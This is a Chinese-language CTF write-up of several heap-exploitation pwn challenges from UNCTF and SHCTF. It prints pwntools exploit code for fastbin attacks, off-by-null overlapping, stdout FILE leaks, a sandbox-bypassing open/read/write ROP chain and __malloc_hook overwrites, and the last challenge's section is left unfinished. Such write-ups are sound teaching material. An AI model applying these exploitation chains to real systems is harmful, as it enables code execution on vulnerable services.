0x01 闲说
最近的两次CTF，pwn题目很有意思（虽然很菜没做出来几个），觉得有必要记录下。
0x02 UNCTF
Box
程序分析
典型的heap题目，提供了类似add, edit, delete的功能，但是没有show。
从这里也可以看出难点在于泄露地址。
chunk的size限制在fastbin里
存在数组下溢，和UAF漏洞
这里的溢出，导致可以修改chunk之外的地址
UAF漏洞，这里组合一下可以Fastbin attack。
利用分析
由于并不存在输出，一般是需要IO的，这里我用数组下溢的漏洞覆写stdout结构。泄露出_IO_file_jumps，得到libc地址。
#leak address stdout
edit(-12, p64(0xfbad1800) + p64(0)*3 + '\x00')
data = p.recv(0x20)
leak = u64(data[0x18:]) #io_file jump
拿到libc后，就是怎么覆盖指针的问题了，这里用的是realloc，需要覆盖__realloc_hook。一开始我没想到UAF怎么利用，又重新打起了IO的主意，想要利用覆盖stdin达到任意地址写的目的。但是stdin在数组正向，下溢出达不到。
换了一个思路，发现realloc_hook在stdout下不远处，于是就想直接覆盖过去。结果，本地成功了，远程发现没能写进去，这是因为read的数目是不可控的，环境不同写入的长度不一样。
没办法，回到了UAF。才发现这个似乎简单些。只需要在realloc附低一些的位置找到合法的size，字节错位就可以修改fastbin的fd，实现分配。
#fastbin attack, uaf
add(2, 0x58)
add(3, 0x68)
free(3)
add(3, 0x68)
edit(3, p64(realloc_hook-0xb-0x10))
add(1, 0x68)
add(2, 0x68) #realloc
edit(2, 'a'*0xb+ p64(system))
add(0, 0x68)
小结
我这里应该是打了个非预期，看到大部分师傅是用的溢出。还有一个我不知道的知识点。就是realloc在size为0时，相当于free。然后利用unsorted bin打stdout。之后再free 和 realloc的类free打出double free的效果。
orwheap
程序分析
这题目里有沙箱，用sec查出限制的规则，限制了只能是x64的，且ban了execve。
只提供了add，delete，edit的功能
漏洞在add的时候输入内容，存在off-by-null。
利用分析
之前见过sandbox这种，但是那时可以修改规则绕过，执行execve，但是这里似乎不存在。
查了一些博客和题目的提示"orwheap"，才知道是要想办法在栈上构造rop，open，read，write的方式。
首先泄露libc吧，这里利用off-by-null构造经典的overlapping，覆盖stdout。
def exploit():
add(0x88, 'a'*0x10) #0
add(0x218, 'b'*0x10) #1
add(0x108, 'c'*0x10) #2
add(0x80, 'd'*0x10) #3
#fake
edit(1, 'a'*0xf0 + p64(0x100) + p64(0x101))
#into unsorted bin
free(1)
#null off by one
free(0)
add(0x88, 'a'*0x88) #0
#split from 1
add(0x88, 'b1') #1
add(0x68, 'b2') #4
add(0x88, 'b3') #5
free(1)
free(2) #overlapping above b
free(4) #into fastbin
add(0x88, 'over') #1
#overwrite fastbin'fd to stdout 错位即可拿到IO_stdout
add(0x290, '') #2
edit(2, '\xdd\x45')
free(1)
add(0x88, 'a'*0x80 + p64(0x91) + p64(0x71)) #1 modify size to 0x71 fastbin
free(5)
gdb.attach(p, 'p puts')
dbg()
add(0x68, 'padding') #4
add(0x68, 'stdout') #5
edit(5, 'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')
data = p.recv(0x90)
leak = u64(data[0x88:]) #io_file jump
print "leak ==> " + hex(leak)
if leak&0x7f00000008e0 == 0x7f00000008e0:
libc_base = leak - libc.symbols['_IO_2_1_stdin_']
print "libc_base ==> " + hex(libc_base)
但是如何泄露stack和PIE的codebase呢？这里参考别的师傅的WP，用到了environ，通过stdout泄露environ下的内容可以泄露stack。。。
environ = libc.symbols['environ']
print "environ ==> " + hex(environ)
edit(5,'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+0x8)+ p64(environ+0x8))
leakstack = u64(p.recv(6).ljust(8,'\x00'))
print "leakstack ==> " + hex(leakstack)
codeptr = leakstack - 0x30
print "codeptr ==> " + hex(codeptr)
edit(5, '\x00'*0x33+p64(0xfbad1800)+p64(0)*3+p64(codeptr)+p64(codeptr+0x8)+ p64(codeptr+0x8))
codebase = u64(p.recv(6).ljust(8, '\x00')) - 0x969
print "codebase ==> " + hex(codebase)
然后就是在stack上找到合法的size，得到chunk，进行rop的布置。完成open，read，write的流程。这个合法的size最后在edit功能的read函数ret时的stack中找到的。
dele(2)
fakechunk = leakstack - 0x17b
success("fakechunk: "+hex(fakechunk))
edit(0,'0'*0x88+p64(0x71)+'1'*0x68+p64(0x71)+p64(fakechunk))
add(0x68,'2')
add(0x68,'5')
之后就是rop的布置
prdiret = 0x0000000000001193+codebase
prsiret = 0x00000000000202e8+libcbase
prdxrsiret = 0x00000000001150c9+libcbase# : pop rdx ; pop rsi ; ret
leaveret = 0x0000000000000b40+codebase
prbp = 0x000000000001f930+libcbase
bss = codebase + 0x202000
openaddr = libcbase + libc.symbols['open']
read = libcbase + libc.symbols['read']
writeaddr = libcbase + libc.symbols['write']
rop1 = p64(prbp)+p64(bss+0x200)+p64(prsiret)+p64(bss+0x200)+p64(read)+p64(leaveret)
rop2 = p64(0)+p64(prbp)+p64(bss+0x300)+p64(prdiret)+p64(0)+p64(prdxrsiret)+p64(0x200)+p64(bss+0x300)+p64(read)+p64(leaveret)
rop3 = p64(0)+p64(prdiret)+p64(codebase+0x202388+8)+p64(prsiret)+p64(0)+p64(openaddr)+p64(prdiret)+p64(3)+p64(prdxrsiret)+p64(0x40)+p64(bss+0x500)+p64(read)+p64(prdiret)+p64(1)+p64(prdxrsiret)+p64(0x40)+p64(bss+0x500)+p64(writeaddr)+"/flag\x00"
edit(5,'\x00'*(0x2b)+rop1)#p64(0xdeadbeef))
sleep(1)
sl(rop2)
sleep(1)
sl(rop3)
irt()
小结
- stack和heap的结合，绕过sandbox，很精彩。
0x03 SHCTF
Boringheap
程序分析
size只提供三种选择0x20, 0x30, 0x40，对字节错位的利用有一定的干扰。
一开始真的没有找到问题在哪，后来注意到程序在求数组下标的时候多次用到abs函数求绝对值。在网上找到了一些有用的信息，这个函数有问题。（可以查阅abs的源码）
abs(0x80000000) = 0x80000000
也就是说
abs(-2147483648) = -2147483648
只是这样还不够，这个溢出的太多，无法利用，但是有了取余操作就OK了。
问题在类似edit的功能里，这里的下标没有检查是否合法，经过取余，我们可以修改当前chunk的header字段，和上一个chunk的内容。
利用分析
提供了show功能，一般想办法利用unsorted bin泄露main_arena。
由于可以更改chunk的header，直接chunk overlapping进unsorted bin。
add(2, '\x00') #0
add(2, '\x11') #1
add(2, '\x22') #2
#fake a chunk as unlink
payload = p64(0) + p64(0x31) + p64(0)*3 + p64(0x21)
add(2, payload) #3
#fake big chunk
add(3, p64(0) + p64(0x21)) #4
add(2, p64(0) + p64(0x21)) #5
add(3, '\x66') #6
#fake chunk1's size to 0x91, contain chunk2
edit(1, 0x80000000, p64(0)*3 + p64(0x91))
free(1) #chunk1 ,2 into unsorted bin, while 2 also in chunk_ptr
add(2, '\x11') #7
show(2)
main_arena = u64(p.recvline().strip('\n').ljust(8, '\x00')) - 0x58
print "main_arena ==> " + hex(main_arena)
libc.address = main_arena - 0x3c4b20
有了libc后，同样需要修改malloc_hook。这里由于size的限制没办法直接利用0x7f字节错位，所以需要在libc附近写入0x51这类的数。
首先，修改unsorted bin的size，再分配与之前类似的chunk，就可以拿到多个同样地址的chunk指针。
add(2, '\x44') #8
edit(2, 0x80000000, p64(0)*3 + p64(0xd1)) #modify unsorted bin's size , make a lat two pointer chunk
free(2)
add(2,"\xaa") #9
add(2,"\xaa") #10
add(3,"\x11") #11
add(1,"\x23") #12
add(1,"\x23") #13
释放重复的pointer中的一个，可以操作另一个修改fastbin的fd。
free(12)
free(4)
字节错位的话，需要合法的size，与fastbin匹配，而我们发现chunk的地址都是0x5xxx...这类的，当然有一定的机率不是，但是总可以存在的。所以可以在main_arena内构造一个chunk。写入0x51这类合法的size。
然后这里如何覆盖到malloc_hook呢？由于top chunk在main_arena内，我们可以覆盖到malloc_hook附近。比较有意思的是，由于fastbin数组就存在main_arena里，我们可以直接构造xi相应的fastbin chunk。这里构造的就在top chunk上方，并写入合法的size 0x51。
#modify fd' size to main_arena
fake_fd = main_arena + 0x15 - 8
edit(11, 0, p64(fake_fd))
add(3, '\x12')
payload = "\x11\x11\x11"+p64(libc.address+0x3c4b50)+p64(0)*2+p64(0x51)+p64(0)
add(3, payload)
再次的分配就能覆盖top chunk到malloc_hook附近，继续分配就可以覆盖malloc_hook为one_gadget。
#modify top chunk which is in main_arena
add(3, p64(0)*2+p64(__malloc_hook-0x10)+p64(0x3c4b78+libc.address)+p64(0x3c4b78+libc.address)+p64(0x3c4b78+libc.address))
add(3,p64(libc.address+0xf1147))
小结
这题的妙处在修改main_arena的内容，即可以修改fastbin数组内容，又可以修改top chunk。感觉这种方式很好使，之前没怎么尝试过，以后多试试！
程序分析
存在很明显的UAF漏洞
结构里存在函数指针，且在一定条件下会调
其实s还有栈溢出，但是又有canary保护，没办法利用。
利用分析
一直想用那个函数指针调用，而且因为UAF的存在，函数指针可以覆写。
但是由于strcmp的问题，没有合适的方法可以触发。比如，我想把参数改写为puts_got，但是需要输入puts的真实地址才能通过strcmp验证，这就扯了，我要是知道还泄露？
这里有一个想法，就是我们可以通过strcmp比较的结果给出的不同的输出能够爆破绕过ALSR。但是参考别的WP找到一个更好的绕过方式，那就是综合利用栈溢出和这个函数指针。之前在纯粹的栈溢出中，ROP的方式下ret指令，通常可以构成gadgets利用。但是，这条指令不是依赖于函数返回地址的，而是依赖于栈的。简单的说，就是任何时候执行ret指令，都可以把栈上的地址作为下一步的执行地址。这里也是用的这个。
首先看下，程序保存了一些符号信息，这些地址可以直接拿来绕过
这里，不在执着于用函数指针去覆，而是用代码片段去覆盖，结合栈溢出的4个size，就可以劫持程序流程。
这里为什么用4个pop是因为在栈溢出之后执行chunk里的指针函数时候的栈的布局
这样就可以在不覆盖函数返回地址的情况下以ROPd的方式劫持程序流。
需要重复利用的时候，只需要将rop返回地址改到程序的正常结束的位置即可。
add(0, 0x88, 'tree')
add(1, 0x88, 'back')
add(2, 0x88, 'aaaa')
free(0)
free(1)
puts_str = 0x400452
pop_4_ret = 0x400F2C
pop_rdi = 0x0000000000400f33
puts_got = 0x601FA8
puts_plt = 0x4006B8
ret = 0x400C13
payload = 'puts\x00\x00\x00\x00' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret)
gdb.attach(p, 'b* 0x400E04')
dbg()
add(3, 0x18, p64(puts_str) + p64(pop_4_ret))
login(1, len(payload), payload)
p.recvline()
puts_addr = u64(p.recvline().strip('\n').ljust(8, '\x00'))
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
0x04 总结
- rop不仅在stack中，也可以和heap发生反应。
- 灵活的利用IO会有别样的效果。
0x05 学习参考
- 萝卜
- leedin
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